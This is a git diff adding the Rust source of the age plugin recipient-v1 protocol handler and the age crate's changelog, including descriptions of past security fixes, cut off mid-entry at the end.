a/lib/rage/age-plugin/src/recipient.rs b/lib/rage/age-plugin/src/recipient.rs new file mode 100644 index 0000000..0370c2d --- /dev/null +++ b/lib/rage/age-plugin/src/recipient.rs @@ -0,0 +1,471 @@ +//! Recipient plugin helpers. + +use age_core::{ + format::{is_arbitrary_string, FileKey, Stanza}, + plugin::{self, BidirSend, Connection}, + secrecy::SecretString, +}; +use base64::{prelude::BASE64_STANDARD_NO_PAD, Engine}; +use bech32::FromBase32; + +use std::collections::HashSet; +use std::convert::Infallible; +use std::io; + +use crate::{Callbacks, PLUGIN_IDENTITY_PREFIX, PLUGIN_RECIPIENT_PREFIX}; + +const ADD_RECIPIENT: &str = "add-recipient"; +const ADD_IDENTITY: &str = "add-identity"; +const WRAP_FILE_KEY: &str = "wrap-file-key"; +const EXTENSION_LABELS: &str = "extension-labels"; +const RECIPIENT_STANZA: &str = "recipient-stanza"; +const LABELS: &str = "labels"; + +/// The interface that age implementations will use to interact with an age plugin. +/// +/// Implementations of this trait will be used within the [`recipient-v1`] state machine. +/// +/// The trait methods are always called in this order: +/// - [`Self::add_recipient`] / [`Self::add_identity`] (in any order, including +/// potentially interleaved). +/// - [`Self::labels`] (once all recipients and identities have been added). +/// - [`Self::wrap_file_keys`] +/// +/// [`recipient-v1`]: https://c2sp.org/age-plugin#wrapping-with-recipient-v1 +pub trait RecipientPluginV1 { + /// Stores a recipient that the user would like to encrypt age files to. + /// + /// `plugin_name` is the name of the binary that resolved to this plugin. + /// + /// Returns an error if the recipient is unknown or invalid. + fn add_recipient(&mut self, index: usize, plugin_name: &str, bytes: &[u8]) + -> Result<(), Error>; + + /// Stores an identity that the user would like to encrypt age files to. + /// + /// `plugin_name` is the name of the binary that resolved to this plugin. + /// + /// Returns an error if the identity is unknown or invalid. + fn add_identity(&mut self, index: usize, plugin_name: &str, bytes: &[u8]) -> Result<(), Error>; + + /// Returns labels that constrain how the stanzas produced by [`Self::wrap_file_keys`] + /// may be combined with those from other recipients. + /// + /// Encryption will succeed only if every recipient returns the same set of labels. + /// Subsets or partial overlapping sets are not allowed; all sets must be identical. + /// Labels are compared exactly, and are case-sensitive. + /// + /// Label sets can be used to ensure a recipient is only encrypted to alongside other + /// recipients with equivalent properties, or to ensure a recipient is always used + /// alone. A recipient with no particular properties to enforce should return an empty + /// label set. + /// + /// Labels can have any value that is a valid arbitrary string (`1*VCHAR` in ABNF), + /// but usually take one of several forms: + /// - *Common public label* - used by multiple recipients to permit their stanzas to + /// be used only together. Examples include: + /// - `postquantum` - indicates that the recipient stanzas being generated are + /// postquantum-secure, and that they can only be combined with other stanzas + /// that are also postquantum-secure. + /// - *Common private label* - used by recipients created by the same private entity + /// to permit their recipient stanzas to be used only together. For example, + /// private recipients used in a corporate environment could all send the same + /// private label in order to prevent compliant age clients from simultaneously + /// wrapping file keys with other recipients. + /// - *Random label* - used by recipients that want to ensure their stanzas are not + /// used with any other recipient stanzas. This can be used to produce a file key + /// that is only encrypted to a single recipient stanza, for example to preserve + /// its authentication properties. + fn labels(&mut self) -> HashSet; + + /// Wraps each `file_key` to all recipients and identities previously added via + /// `add_recipient` and `add_identity`. + /// + /// Returns a set of stanzas per file key that wrap it to each recipient and identity. + /// Plugins may return more than one stanza per "actual recipient", e.g. to support + /// multiple formats, to build group aliases, or to act as a proxy. + /// + /// If one or more recipients or identities could not be wrapped to, no stanzas are + /// returned for any of the file keys. + /// + /// `callbacks` can be used to interact with the user, to have them take some physical + /// action or request a secret value. + fn wrap_file_keys( + &mut self, + file_keys: Vec, + callbacks: impl Callbacks, + ) -> io::Result>, Vec>>; +} + +impl RecipientPluginV1 for Infallible { + fn add_recipient(&mut self, _: usize, _: &str, _: &[u8]) -> Result<(), Error> { + // This is never executed. + Ok(()) + } + + fn add_identity(&mut self, _: usize, _: &str, _: &[u8]) -> Result<(), Error> { + // This is never executed. + Ok(()) + } + + fn labels(&mut self) -> HashSet { + // This is never executed. + HashSet::new() + } + + fn wrap_file_keys( + &mut self, + _: Vec, + _: impl Callbacks, + ) -> io::Result>, Vec>> { + // This is never executed. + Ok(Ok(vec![])) + } +} + +/// The interface that age plugins can use to interact with an age implementation. +struct BidirCallbacks<'a, 'b, R: io::Read, W: io::Write>(&'b mut BidirSend<'a, R, W>); + +impl<'a, 'b, R: io::Read, W: io::Write> Callbacks for BidirCallbacks<'a, 'b, R, W> { + /// Shows a message to the user. + /// + /// This can be used to prompt the user to take some physical action, such as + /// inserting a hardware key. + fn message(&mut self, message: &str) -> plugin::Result<()> { + self.0 + .send("msg", &[], message.as_bytes()) + .map(|res| res.map(|_| ())) + } + + fn confirm( + &mut self, + message: &str, + yes_string: &str, + no_string: Option<&str>, + ) -> age_core::plugin::Result { + let metadata: Vec<_> = Some(yes_string) + .into_iter() + .chain(no_string) + .map(|s| BASE64_STANDARD_NO_PAD.encode(s)) + .collect(); + let metadata: Vec<_> = metadata.iter().map(|s| s.as_str()).collect(); + + self.0 + .send("confirm", &metadata, message.as_bytes()) + .and_then(|res| match res { + Ok(s) => match &s.args[..] { + [x] if x == "yes" => Ok(Ok(true)), + [x] if x == "no" => Ok(Ok(false)), + _ => Err(io::Error::new( + io::ErrorKind::InvalidData, + "Invalid response to confirm command", + )), + }, + Err(e) => Ok(Err(e)), + }) + } + + fn request_public(&mut self, message: &str) -> plugin::Result { + self.0 + .send("request-public", &[], message.as_bytes()) + .and_then(|res| match res { + Ok(s) => String::from_utf8(s.body) + .map_err(|_| { + io::Error::new(io::ErrorKind::InvalidData, "response is not UTF-8") + }) + .map(Ok), + Err(e) => Ok(Err(e)), + }) + } + + /// Requests a secret value from the user, such as a passphrase. + /// + /// `message` will be displayed to the user, providing context for the request. + fn request_secret(&mut self, message: &str) -> plugin::Result { + self.0 + .send("request-secret", &[], message.as_bytes()) + .and_then(|res| match res { + Ok(s) => String::from_utf8(s.body) + .map_err(|_| io::Error::new(io::ErrorKind::InvalidData, "secret is not UTF-8")) + .map(|s| Ok(SecretString::from(s))), + Err(e) => Ok(Err(e)), + }) + } + + fn error(&mut self, error: Error) -> plugin::Result<()> { + error.send(self.0).map(|()| Ok(())) + } +} + +/// The kinds of errors that can occur within the recipient plugin state machine. +pub enum Error { + /// An error caused by a specific recipient. + Recipient { + /// The index of the recipient. + index: usize, + /// The error message. + message: String, + }, + /// An error caused by a specific identity. + Identity { + /// The index of the identity. + index: usize, + /// The error message. + message: String, + }, + /// A general error that occured inside the state machine. + Internal { + /// The error message. + message: String, + }, +} + +impl Error { + fn kind(&self) -> &str { + match self { + Error::Recipient { .. } => "recipient", + Error::Identity { .. } => "identity", + Error::Internal { .. } => "internal", + } + } + + fn message(&self) -> &str { + match self { + Error::Recipient { message, .. } => message, + Error::Identity { message, .. } => message, + Error::Internal { message } => message, + } + } + + fn send(self, phase: &mut BidirSend) -> io::Result<()> { + let index = match self { + Error::Recipient { index, .. } | Error::Identity { index, .. } => { + Some(index.to_string()) + } + Error::Internal { .. } => None, + }; + + let metadata = match &index { + Some(index) => vec![self.kind(), index], + None => vec![self.kind()], + }; + + phase + .send("error", &metadata, self.message().as_bytes())? + .unwrap(); + + Ok(()) + } +} + +/// Runs the recipient plugin v1 protocol. +pub(crate) fn run_v1(mut plugin: P) -> io::Result<()> { + let mut conn = Connection::accept(); + + // Phase 1: collect recipients, and file keys to be wrapped + let ((recipients, identities), file_keys, labels_supported) = { + let (recipients, identities, file_keys, labels_supported) = conn.unidir_receive( + (ADD_RECIPIENT, |s| match (&s.args[..], &s.body[..]) { + ([recipient], []) => Ok(recipient.clone()), + _ => Err(Error::Internal { + message: format!( + "{} command must have exactly one metadata argument and no data", + ADD_RECIPIENT + ), + }), + }), + (ADD_IDENTITY, |s| match (&s.args[..], &s.body[..]) { + ([identity], []) => Ok(identity.clone()), + _ => Err(Error::Internal { + message: format!( + "{} command must have exactly one metadata argument and no data", + ADD_IDENTITY + ), + }), + }), + (Some(WRAP_FILE_KEY), |s| { + // TODO: Should we ignore file key commands with unexpected metadata args? + FileKey::try_init_with_mut(|file_key| { + if s.body.len() == file_key.len() { + file_key.copy_from_slice(&s.body); + Ok(()) + } else { + Err(Error::Internal { + message: "invalid file key length".to_owned(), + }) + } + }) + }), + (Some(EXTENSION_LABELS), |_| Ok(())), + )?; + ( + match (recipients, identities) { + (Ok(r), Ok(i)) if r.is_empty() && i.is_empty() => ( + Err(vec![Error::Internal { + message: format!( + "Need at least one {} or {} command", + ADD_RECIPIENT, ADD_IDENTITY + ), + }]), + Err(vec![]), + ), + r => r, + }, + match file_keys.unwrap() { + Ok(f) if f.is_empty() => Err(vec![Error::Internal { + message: format!("Need at least one {} command", WRAP_FILE_KEY), + }]), + r => r, + }, + match &labels_supported.unwrap() { + Ok(v) if v.is_empty() => Ok(false), + Ok(v) if v.len() == 1 => Ok(true), + _ => Err(vec![Error::Internal { + message: format!("Received more than one {} command", EXTENSION_LABELS), + }]), + }, + ) + }; + + // Now that we have the full list of recipients and identities, parse them as Bech32 + // and add them to the plugin. + fn parse_and_add( + items: Result, Vec>, + plugin_name: impl Fn(&str) -> Option<&str>, + error: impl Fn(usize) -> Error, + mut adder: impl FnMut(usize, &str, Vec) -> Result<(), Error>, + ) -> Result> { + items.and_then(|items| { + let count = items.len(); + let errors: Vec<_> = items + .into_iter() + .enumerate() + .map(|(index, item)| { + let decoded = bech32::decode(&item).ok(); + decoded + .as_ref() + .and_then(|(hrp, data, variant)| match (plugin_name(hrp), variant) { + (Some(plugin_name), &bech32::Variant::Bech32) => { + Vec::from_base32(data).ok().map(|data| (plugin_name, data)) + } + _ => None, + }) + .ok_or_else(|| error(index)) + .and_then(|(plugin_name, bytes)| adder(index, plugin_name, bytes)) + }) + .filter_map(|res| res.err()) + .collect(); + + if errors.is_empty() { + Ok(count) + } else { + Err(errors) + } + }) + } + let recipients = parse_and_add( + recipients, + |hrp| hrp.strip_prefix(PLUGIN_RECIPIENT_PREFIX), + |index| Error::Recipient { + index, + message: "Invalid recipient encoding".to_owned(), + }, + |index, plugin_name, bytes| plugin.add_recipient(index, plugin_name, &bytes), + ); + let identities = parse_and_add( + identities, + |hrp| { + if hrp.starts_with(PLUGIN_IDENTITY_PREFIX) && hrp.ends_with('-') { + Some(&hrp[PLUGIN_IDENTITY_PREFIX.len()..hrp.len() - 1]) + } else { + None + } + }, + |index| Error::Identity { + index, + message: "Invalid identity encoding".to_owned(), + }, + |index, plugin_name, bytes| plugin.add_identity(index, plugin_name, &bytes), + ); + + let required_labels = plugin.labels(); + + let labels = match (labels_supported, required_labels.is_empty()) { + (Ok(true), _) | (Ok(false), true) => { + if required_labels.contains("") { + Err(vec![Error::Internal { + message: "Plugin tried to use the empty string as a label".into(), + }]) + } else if required_labels.iter().all(is_arbitrary_string) { + Ok(required_labels) + } else { + Err(vec![Error::Internal { + message: "Plugin tried to use a label containing an invalid character".into(), + }]) + } + } + (Ok(false), false) => Err(vec![Error::Internal { + message: "Plugin requires labels but client does not support them".into(), + }]), + (Err(errors), true) => Err(errors), + (Err(mut errors), false) => { + errors.push(Error::Internal { + message: "Plugin requires labels but client does not support them".into(), + }); + Err(errors) + } + }; + + // Phase 2: wrap the file keys or return errors + conn.bidir_send(|mut phase| { + let (expected_stanzas, file_keys, labels) = + match (recipients, identities, file_keys, labels) { + (Ok(recipients), Ok(identities), Ok(file_keys), Ok(labels)) => { + (recipients + identities, file_keys, labels) + } + (recipients, identities, file_keys, labels) => { + for error in recipients + .err() + .into_iter() + .chain(identities.err()) + .chain(file_keys.err()) + .chain(labels.err()) + .flatten() + { + error.send(&mut phase)?; + } + return Ok(()); + } + }; + + let labels = labels.iter().map(|s| s.as_str()).collect::>(); + // We confirmed above that if `labels` is non-empty, the client supports labels. + // So we can unconditionally send this, and will only get an `unsupported` + // response if `labels` is empty (where it does not matter). + let _ = phase.send(LABELS, &labels, &[])?; + + match plugin.wrap_file_keys(file_keys, BidirCallbacks(&mut phase))? { + Ok(files) => { + for (file_index, stanzas) in files.into_iter().enumerate() { + // The plugin MUST generate an error if one or more recipients or + // identities cannot be wrapped to. And it's a programming error + // to return more stanzas than recipients and identities. + assert_eq!(stanzas.len(), expected_stanzas); + + for stanza in stanzas { + phase + .send_stanza(RECIPIENT_STANZA, &[&file_index.to_string()], &stanza)? + .unwrap(); + } + } + } + Err(errors) => { + for error in errors { + error.send(&mut phase)?; + } + } + } + + Ok(()) + }) +} diff --git a/lib/rage/age/CHANGELOG.md b/lib/rage/age/CHANGELOG.md new file mode 100644 index 0000000..eb79b40 --- /dev/null +++ b/lib/rage/age/CHANGELOG.md @@ -0,0 +1,529 @@ +# Changelog +All notable changes to the age crate will be documented in this file. Changes +to the [age-core crate](../age-core/CHANGELOG.md) also apply to the age crate, +and are not duplicated here. + +The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), +and this project adheres to Rust's notion of +[Semantic Versioning](https://semver.org/spec/v2.0.0.html). All versions prior +to 1.0.0 are beta releases. + +## [Unreleased] + +## [0.6.1, 0.7.2, 0.8.2, 0.9.3, 0.10.1, 0.11.1] - 2024-11-18 +### Security +- Fixed a security vulnerability that could allow an attacker to execute an + arbitrary binary under certain conditions. See GHSA-4fg7-vxc8-qx5w. Plugin + names are now required to only contain alphanumeric characters or the four + special characters `+-._`. Thanks to ⬡-49016 for reporting this issue. + +## [0.11.0] - 2024-11-03 +### Added +- New streamlined APIs for use with a single recipient or identity and a small + amount of data (that can fit entirely in memory): + - `age::encrypt` + - `age::encrypt_and_armor` + - `age::decrypt` +- `age::Decryptor::{decrypt, decrypt_async, is_scrypt}` +- `age::IdentityFile::to_recipients` +- `age::IdentityFile::with_callbacks` +- `age::IdentityFile::write_recipients_file` +- `age::IdentityFileConvertError` +- `age::NoCallbacks` +- `age::scrypt`, providing recipient and identity types for passphrase-based + encryption. +- Partial French translation! + +### Changed +- Migrated to `i18n-embed 0.15`, `secrecy 0.10`. +- `age::Encryptor::with_recipients` now takes recipients by reference instead of + by value. This aligns it with `age::Decryptor` (which takes identities by + reference), and also means that errors with recipients are reported earlier. + This causes the following changes to the API: + - `Encryptor::with_recipients` takes `impl Iterator` + instead of `Vec>`. + - Verification of recipients and generation of stanzas now happens in + `Encryptor::with_recipients` instead of `Encryptor::wrap_output` and + `Encryptor::wrap_async_output`. + - `Encryptor::with_recipients` returns `Result` instead of + `Option`, and `Encryptor::{wrap_output, wrap_async_output}` return + `io::Result>` instead of `Result, EncryptError>`. + - `age::EncryptError` has a new variant `MissingRecipients`, taking the place + of the `None` that `Encryptor::with_recipients` could previously return. +- `age::Decryptor` is now an opaque struct instead of an enum with `Recipients` + and `Passphrase` variants. +- `age::IdentityFile` now has a `C: Callbacks` generic parameter, which defaults + to `NoCallbacks`. +- `age::IdentityFile::into_identities` now returns + `Result>, DecryptError>` instead of + `Vec`. +- `age::Recipient::wrap_file_key` now returns `(Vec, HashSet)`: + a tuple of the stanzas to be placed in an age file header, and labels that + constrain how the stanzas may be combined with those from other recipients. +- `age::plugin::RecipientPluginV1` now supports the labels extension. + +### Fixed +- `age::cli_common::read_identities` once again correctly parses identity files + that are a single line without a trailing newline. This broke in 0.10.0 due to + an unrelated refactor. + +### Removed +- `age::decryptor::PassphraseDecryptor` (use `age::Decryptor` with + `age::scrypt::Identity` instead). +- `age::decryptor::RecipientsDecryptor` (use `age::Decryptor` instead). +- `age::IdentityFileEntry` + +## [0.10.0] - 2024-02-04 +### Added +- Russian translation! +- `age::cli_common`: + - `file_io`: + - `FileReader` + - `impl Debug for {LazyFile, OutputFormat, OutputWriter, StdoutWriter}` + - `StdinGuard` + - `read_recipients` +- `age::identity::IdentityFile::from_input_reader` (behind `cli-common` feature + flag). +- `impl Eq for age::ssh::{ParseRecipientKeyError, UnsupportedKey}` +- `impl {Debug, PartialEq, Eq, Hash} for age::x25519::Recipient` + +### Changed +- MSRV is now 1.65.0. +- Migrated to `base64 0.21`, `rsa 0.9`. +- `age::cli_common`: + - `file_io`: + - `InputReader::File` enum variant now contains `FileReader` instead of + `std::fs::File`. + - `OutputWriter::new` now takes an `allow_overwrite` boolean argument. If + `OutputWriter` will write to a file, this boolean enables the caller to + control whether the file will be overwritten if it exists (instead of the + implicit behaviour that was previously changed in 0.6.0). + - `read_identities` now takes an `&mut StdinGuard` argument, and `filenames` + may now contain at most one entry of `"-"`, which will be interpreted as + reading from standard input. + - `ReadError` has new variants: + - `EncryptedIdentities` + - `InvalidRecipient` + - `InvalidRecipientsFile` + - `MissingRecipientsFile` + - `MultipleStdin` + - `RsaModulusTooLarge` + - `RsaModulusTooSmall` +- `age::ssh`: + - `ParseRecipientKeyError` has new variants: + - `RsaModulusTooLarge` + - `RsaModulusTooSmall` + - The following trait implementations now return + `Err(ParseRecipientKeyError::RsaModulusTooLarge)` instead of + `Err(ParseRecipientKeyError::Unsupported(_))` when encountering an RSA + public key with a modulus larger than 4096 bits: + - `impl FromStr for Recipient` + - `impl TryFrom for Recipient` + +### Fixed +- `age::Encryptor::with_user_passphrase` will now re-measure the `scrypt` work + factor until it is measurable, instead of setting the work factor to maximum. +- `age::cli_common`: + - `UiCallbacks::confirm` no longer requires erasing the confirmation message + before it will accept a response. + - `UiCallbacks::request_public_string` no longer prepends the description to + the response string. +- Weak `ssh-rsa` public keys that are smaller than 2048 bits are now rejected + from all string-parsing APIs. The `Recipient::SshRsa` enum variant can still + be manually constructed with such keys; this will be fixed in a future crate + refactor. + +## [0.9.2] - 2023-06-12 +### Added +- `age::Decryptor::{new_buffered, new_async_buffered}`, which are more efficient + for types implementing `std::io::BufRead` or `futures::io::AsyncBufRead` + (which includes `&[u8]` slices). +- `impl std::io::BufRead for age::armor::ArmoredReader` +- `impl futures::io::AsyncBufRead for age::armor::ArmoredReader` + +### Changed +- The `pinentry` binary used by `age::cli_common::read_secret` can now be set + manually with the `PINENTRY_PROGRAM` environment variable. It accepts either a + binary name or a path. Setting this to the empty string will disable `pinentry` + usage and fall back to the CLI interface. + +### Fixed +- The `AsyncWrite::poll_write` implementation for `age::stream::StreamWriter` + now never returns 0 if there is data to write. This makes `StreamWriter` + compatible with `futures::io::copy`. + +## [0.9.1] - 2023-03-24 +### Added +- Support for encrypted OpenSSH keys exported from 1Password. + +## [0.9.0] - 2022-10-27 +### Security +- `age::ssh::Recipient::SshRsa` now has a maximum modulus size of 4096 bits, to + prevent a Denial of Service (DoS) condition when encrypting to untrusted + public keys. + +### Added +- `age::armor::ArmoredReadError`, used to wrap armor-specific read errors inside + `std::io::Error`. +- `age::ssh`: + - `impl Clone for Identity` + +### Changed +- MSRV is now 1.59.0. +- Migrated to `rsa 0.7`. +- `age::Encryptor::with_recipients` now returns `Option`, with `None` + returned if the provided list of recipients is empty (to prevent files being + encrypted to no recipients). The `recipients` argument is also now + `Vec>`. +- `age::encrypted::Identity::recipients` now returns + `Vec>`. + +### Fixed +- `age::Decryptor` now rejects invalid or non-canonical `scrypt` recipient + stanzas (instead of ignoring or accepting them respectively), matching the + [age specification](https://c2sp.org/age#scrypt-recipient-stanza). +- `age::armor::ArmoredReader`: + - It now correctly implements strict parsing as defined in + [RFC 7468](https://www.rfc-editor.org/rfc/rfc7468.html#section-3), and + rejects armored files with non-canonical final lines (where padding bytes + are omitted). + - It now rejects armored files with non-whitespace characters after the end + marker. + - It now accepts armored files with no newline after the end marker. + Previously these were rejected by the synchronous API, and would cause the + async API to hang. + - The async API now correctly rejects some classes of invalid armoring that + previously would cause it to hang. + +## [0.8.1] - 2022-06-18 +### Security +- `age::Decryptor` did not previously require "contributory" behaviour for + `X25519` recipient stanzas. If an age file has an `X25519` recipient stanza + with an ephemeral share that is a small-order point, the file could previously + be decrypted by any native age identity. To ensure we match the behaviour in + the [age specification](https://c2sp.org/age#x25519-recipient-stanza), these + files are now rejected as invalid. + +### Fixed +- `age::Decryptor` now rejects invalid or non-canonical `X25519` recipient + stanzas (instead of ignoring or accepting them respectively), matching the + [age specification](https://c2sp.org/age#x25519-recipient-stanza). + +## [0.8.0] - 2022-05-02 +### Added +- `age::Callbacks::confirm` to request that the user provides confirmation for + some action. +- `age::cli_common::file_io::InputReader::is_terminal` +- `age::ssh::ParseRecipientKeyError`, which was previously in the public API but + unnameable and could not be matched upon. + +### Changed +- MSRV is now 1.56.0. +- `age::Callbacks` now requires `Clone + Send + Sync + 'static` bounds. +- `age::cli_common::file_io::OutputWriter::new` now takes an `input_is_tty` + boolean argument. If `input_is_tty` is set to `true`, then if `OutputWriter` + will write to a stdout TTY, it buffers the entire output so it doesn't get in + the way of typing the input, and then writes the buffered output to stdout + during `OutputWriter::flush`. +- Ciphertexts are now required to end in a non-empty STREAM chunk, unless it is + the only chunk (meaning that the plaintext is empty). Neither age nor rage + generate non-empty files ending in an empty chunk, instead marking the final + full chunk as the last chunk. + +## [0.7.1] - 2021-12-27 +### Fixed +- Bumped `age-core` to 0.7.1 to fix a bug where non-canonical recipient stanza + bodies in an age file header would cause a panic instead of being rejected. + +## [0.7.0] - 2021-10-18 +### Added +- `age::encrypted::Identity`, for decrypting files with passphrase-encrypted + age identity files. +- `age::IdentityFileEntry` enum, representing the possible kinds of entries + within an age identity file. +- `age::{DecryptError, EncryptError, PluginError}: Clone` bounds. +- `age::cli_common::UiCallbacks: Clone + Copy` bounds. +- `age::cli_common::Passphrase::random`, for generating a secure passphrase. +- `age::cli_common::ReadError` +- `age::secrecy`, which re-exports the `secrecy` crate. + +### Changed +- MSRV is now 1.51.0. +- `age::IdentityFile::into_identities` now returns `Vec`. +- `age::cli_common::read_identities`: + - Encrypted age files will now be parsed and assumed to be encrypted age + identities. This assumption is checked at file-decryption time. + - New `max_work_factor` parameter for controlling the work factor when + decrypting encrypted identities. + - Identities are now returned in the same order as `filenames` (and + top-to-bottom from within each file). Plugin identities are no longer + coalesced; there is one `Box` per plugin identity. + - `age::cli_common::ReadError` is now returned instead of a user-specified + error type. The error constructor parameters have been removed from the + function. +- `age::Callbacks::prompt` has been renamed to `Callbacks::display_message`. + - `age::cli_common::UiCallbacks::display_message` no longer uses `pinentry` + (which displays a temporary prompt that can be dismissed), so the message is + now part of the visible CLI output. + +### Removed +- `IdentityFile::split_into` (replaced by `IdentityFileEntry::Plugin`). + +## [0.6.0] - 2021-05-02 +### Security +- `StreamReader::seek(SeekFrom::End(offset))` did not previously authenticate + the ciphertext length; if the ciphertext had been truncated or extended by + `adversary_offset`, it would instead seek to `offset + adversary_offset`. This + allowed an adversary with temporary control of an encrypted age file to + control the location of a plaintext read following a seek-from-end. `age` now + returns an error if the last chunk is invalid. + - `rage` was not affected by this security issue, as it does not use `Seek`. + - `rage-mount` may have been affected; it does not use `SeekFrom::End` + directly, but the `tar` or `zip` crates might do so. + +### Added +- Plugin support, enabled by the `plugin` feature flag: + - `age::plugin::{Identity, Recipient}` structs for parsing plugin recipients + and identities from strings. + - `age::plugin::RecipientPluginV1`, which implements `age::Recipient` and runs + the V1 recipient plugin protocol. + - `age::plugin::IdentityPluginV1`, which implements `age::Identity` and runs + the V1 identity plugin protocol. +- The `web-sys` feature flag, which enables calculating the work factor for + passphrase encryption with the + [Performance timer](https://developer.mozilla.org/en-US/docs/Web/API/Performance) + via the `web-sys` crate, when compiling for a WebAssembly target such as + `wasm32-unknown-unknown`. This feature is ignored for the `wasm32-wasi` + target, which supports + [`std::time::SystemTime`](https://doc.rust-lang.org/stable/std/time/struct.SystemTime.html#underlying-system-calls). +- `age::Callbacks::request_public_string` to request non-private input from the + user (which will not trigger any OS-level passphrase-style prompt, unlike + `Callbacks::request_passphrase`). + +### Changed +- MSRV is now 1.47.0. +- `age::cli_common::file_io::OutputWriter::File` will now *overwrite* the file + if it exists, instead of returning an error. This makes it consistent with + `age::cli_common::file_io::OutputWriter::Stdout`, as well as most UNIX tools. +- Files encrypted with this version of `age` might not decrypt with previous + beta versions, due to changes in how stanza bodies are canonically encoded. + This should only affect a small fraction of files (if grease that triggers the + change is added, which has a 3% chance per file). +- `age::decryptor::RecipientsDecryptor` now takes + `impl Iterator` in its decryption methods, to make + decrypting multiple files with the same identities easier. +- `age::cli_common::file_io::OutputWriter::File` now wraps a `LazyFile` struct + (instead of wrapping `std::io::File` directly), which does not open the file + until it is first written to. +- `age::decryptor::Callbacks` has been moved to `age::Callbacks`, as it is no + longer decryption-specific. + +### Fixed +- `age::cli_common::read_identities` now allows either kind of line ending in + SSH identity files. +- Default `en-US` language strings are now always loaded, even if translations + are not loaded by calling `age::localizer().select(&requested_languages)`. +- `StreamReader::seek(SeekFrom::End(0))` now seeks to the correct position when + the plaintext is an exact multiple of the chunk size. + +## [0.5.1] - 2021-02-13 +### Fixed +- Bumped dependencies to `i18n-embed-fl 0.3` and `i18n-embed 0.10.2` to fix a + transient dependency breakage, that broke `cargo install rage` because + [`cargo install` ignores `Cargo.lock`](https://github.com/rust-lang/cargo/issues/7169). + +## [0.5.0] - 2020-11-22 +### Added +- Italian, Spanish, and Chinese translations! +- New core traits, implemented by all relevant `age` types: + - `age::Identity`, representing an identity that can decrypt an age file. + - `age::Recipient`, representing a potential recipient of an age file. +- Separate modules and structs for different recipient types: + - `age::x25519` + - `age::ssh` (behind the `ssh` feature flag). +- `age::EncryptError`, representing errors that can occur during encryption. +- `age::IdentityFile` struct, for parsing a list of native age identities + (currently only `age::x25519::Identity`) from a file. +- Asynchronous APIs for encryption and decryption, enabled by the `async` + feature flag: + - `age::Encryptor::wrap_async_output()` + - `age::Decryptor::new_async()` + - `age::decryptor::RecipientsDecryptor::decrypt_async()` + - `age::decryptor::PassphraseDecryptor::decrypt_async()` +- Explicit armoring support, enabled by the `armor` feature flag: + - `age::armor::ArmoredReader`, which can be wrapped around an input to handle + a potentially-armored age file. + - `age::armor::ArmoredWriter`, which can be wrapped around an output to + optionally apply the armored age format. + +### Changed +- MSRV is now 1.45.0. +- Changes due to the new core traits: + - `age::Encryptor::with_recipients` now takes `Vec>`. + - `age::decryptor::RecipientsDecryptor` now takes + `impl Iterator>` in its decryption methods. + - `age::cli_common::read_identities` now returns `Vec>`, as + it abstracts over `age::IdentityFile` and `age::ssh::Identity`. When the + `ssh` feature flag is enabled, it also takes an `unsupported_ssh` argument + for handling unsupported SSH identities. + - `age::Error` has been renamed to `age::DecryptError`. +- Changes due to explicit armoring support: + - `age::Encryptor::wrap_output` now only generates the non-malleable binary + age format. To optionally generate armored age files, use + `encryptor.wrap_output(ArmoredWriter::wrap_output(output, format))`. + - `age::Decryptor` now only decrypts the non-malleable binary age format. To + handle age files that are potentially armored, use + `Decryptor::new(ArmoredReader::new(input))`. + - `age::Format` has been moved to `age::armor::Format`. +- SSH support is now disabled by default, behind the `ssh` feature flag. + `ssh-rsa` keys are now supported without the `unstable` feature flag. +- `age::Callbacks` has been moved to `age::decryptor::Callbacks`. + +### Removed +- `age::SecretKey` (replaced by `age::x25519::Identity` and + `age::ssh::Identity`). +- `age::keys::RecipientKey` (replaced by `age::x25519::Recipient` and + `age::ssh::Recipient`). +- `age::keys::{Identity, IdentityKey}` (replaced by `age::Identity` trait on + individual identities, and `age::IdentityFile` for parsing identities). +- `age::decryptor::RecipientsDecryptor::decrypt_with_callbacks()` (identities + are now expected to handle their own callbacks, and + `age::cli_common::read_identities` now adds callbacks to SSH identities). +- Default identity path: + - `age::cli_common::get_config_dir`. + - The `no_default` parameter for `age::cli_common::read_identities`. + +## [0.4.0] - 2020-03-25 +### Added +- `age::Decryptor::new(R: Read)`, which parses an age file header and returns + a context-specific decryptor. +- `age::decryptor` module containing the context-specific decryptors. + - Their decryption methods return the concrete type `StreamReader`, + enabling them to handle seekable readers. +- `age::Encryptor::with_recipients(Vec)` +- `age::Encryptor::with_user_passphrase(SecretString)` +- Support for encrypted OpenSSH keys created with `ssh-keygen` prior to OpenSSH + 7.6. +- `age::cli_common::file_io::OutputWriter::is_terminal` + +### Changed +- `age::Decryptor` has been refactored to auto-detect the decryption type. As a + result, both identity-based and passphrase-based decryption need to be + handled. +- `age::StreamReader` has been moved into the `age::stream` module, along with + `StreamWriter` which was previously public but has now been formally exposed + in the API for documentation purposes. +- `age::Encryptor` is now an opaque struct, and must be created via its new + constructors. +- `age::Encryptor::wrap_output` now consumes `self`, making it harder to + accidentally reuse a passphrase for multiple encrypted files. +- `age::cli_common::read_identities` now takes an additional `file_not_found` + parameter for customising the error when an identity filename is not found. + +### Removed +- `age::Decryptor::trial_decrypt` (replaced by context-specific decryptors). +- `age::Decryptor::trial_decrypt_seekable` (merged into the context-specific + decryptors). +- `age::Error::ArmoredWhenSeeking` +- `age::Error::MessageRequiresKeys` +- `age::Error::MessageRequiresPassphrase` + +### Fixed +- Key files with Windows line endings are now correctly parsed. + +## [0.3.1] - 2020-02-11 +### Fixed +- Bumped dependencies to `cookie-factory ^0.3.1` to fix nightly builds. + +## [0.3.0] - 2020-02-09 +### Added +- `age::Callbacks`, which encapsulates any requests that might be necessary + during the decryption process. +- `age::cli_common::UiCallbacks`, which implements `Callbacks` with requests to + the user via `age::cli_common::read_secret`. +- `age::Decryptor::with_identities(Vec)` +- `age::Decryptor::with_identities_and_callbacks(Vec, Box)` +- `age::Encryptor` will insert a random recipient stanza into the header, to + keep age's joint well oiled. + +### Changed +- The CLI tools have been moved into the `rage` crate. +- The `age::Decryptor::Keys` enum case has been renamed to `Identities` and + altered to store a `Box` internally. +- `age::Decryptor::trial_decrypt` and `age::Decryptor::trial_decrypt_seekable` + both no longer take a `request_passphrase` argument. +- `age::cli_common::read_secret`: + - Takes an additional `prompt` parameter. + - Uses the system `pinentry` binary for requesting secrets if available. + - Returns `pinentry::Error` instead of `io::Error`. +- `age::cli_common::read_or_generate_passphrase` now returns `pinentry::Error` + instead of `io::Error`. +- Core age parsers and serializers have been moved into the `age-core` crate. + +### Fixed +- Fixed several crashes in the armored 